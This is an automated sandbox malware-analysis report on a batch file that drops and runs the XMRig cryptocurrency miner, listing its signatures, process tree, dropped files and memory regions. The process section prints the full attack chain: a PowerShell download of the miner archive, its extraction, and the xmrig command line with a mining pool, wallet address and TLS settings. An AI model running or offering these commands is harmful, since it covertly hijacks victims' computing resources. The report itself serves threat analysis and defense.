Analysis

  • max time kernel
    1793s
  • max time network
    1797s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01/01/2024, 03:11

General

  • Target
    tesy - Copy (7).bat
  • Size 608B
  • Sample240101-dppkasdcf5
  • SHA256 97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 42 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4236
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (7).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:800
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3612
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4244

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 f40b33e033bef5ac1ae3b605bef131fe6f69e2668c9bc6acf605a9bb341703bb
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_p4mq4ivl.b1d.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p4mq4ivl.b1d.ps1
        • Size 1B
        • SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
        • MD5 SHA1 SHA512

        xmrig-6.21.0-gcc-win64.zip

        • Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip
        • Size 8KB
        • SHA256 40a6438f6448cd762e045ff1d1c35ad62497bb4108ecf7316457bbc29c667676
        • MD5 SHA1 SHA512 SSDEEP

        xmrig.exe

        • Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
        • Size 18KB
        • SHA256 977841ddbccba55175ceace1b85cc432cd950594ad53a2204313d1f85a380e46
        • MD5 SHA1 SHA512 SSDEEP

        memory/3612-40-0x00007FFE4A2A0000-0x00007FFE4AC8C000-memory.dmp

        memory/3612-43-0x000001B3BFFF0000-0x000001B3C0000000-memory.dmp

        memory/3612-41-0x000001B3BFFF0000-0x000001B3C0000000-memory.dmp

        memory/3612-117-0x00007FFE4A2A0000-0x00007FFE4AC8C000-memory.dmp

        memory/3612-93-0x000001B3D88A0000-0x000001B3D88AA000-memory.dmp

        memory/3612-80-0x000001B3D8AA0000-0x000001B3D8AB2000-memory.dmp

        memory/3612-66-0x000001B3BFFF0000-0x000001B3C0000000-memory.dmp

        memory/4236-4-0x000002DF748B0000-0x000002DF748D2000-memory.dmp

        memory/4236-26-0x00007FFE4A2A0000-0x00007FFE4AC8C000-memory.dmp

        memory/4236-25-0x000002DF74930000-0x000002DF74940000-memory.dmp

        memory/4236-9-0x000002DF74930000-0x000002DF74940000-memory.dmp

        memory/4236-18-0x000002DF74930000-0x000002DF74940000-memory.dmp

        memory/4236-8-0x00007FFE4A2A0000-0x00007FFE4AC8C000-memory.dmp

        memory/4236-7-0x000002DF74AC0000-0x000002DF74B36000-memory.dmp

        memory/4236-27-0x000002DF74930000-0x000002DF74940000-memory.dmp

        memory/4236-28-0x000002DF74930000-0x000002DF74940000-memory.dmp

        memory/4236-29-0x000002DF74930000-0x000002DF74940000-memory.dmp

        memory/4236-34-0x00007FFE4A2A0000-0x00007FFE4AC8C000-memory.dmp

        memory/4244-143-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-155-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-122-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-123-0x000001334AF60000-0x000001334AF80000-memory.dmp

        memory/4244-124-0x000001334AF80000-0x000001334AFA0000-memory.dmp

        memory/4244-125-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-126-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-127-0x000001334AF60000-0x000001334AF80000-memory.dmp

        memory/4244-129-0x000001334AF80000-0x000001334AFA0000-memory.dmp

        memory/4244-128-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-130-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-131-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-132-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-133-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-134-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-135-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-136-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-137-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-138-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-139-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-140-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-141-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-142-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-120-0x0000013349400000-0x0000013349420000-memory.dmp

        memory/4244-144-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-145-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-146-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-147-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-148-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-149-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-150-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-151-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-152-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-153-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-154-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-121-0x000001334AF20000-0x000001334AF60000-memory.dmp

        memory/4244-156-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-157-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-158-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-159-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-160-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-161-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-162-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-163-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-164-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-165-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-166-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-167-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-168-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-169-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-170-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-171-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-172-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-173-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-174-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-175-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-176-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-177-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-178-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-179-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-180-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-181-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-182-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-183-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-184-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-185-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-186-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-187-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

        memory/4244-188-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp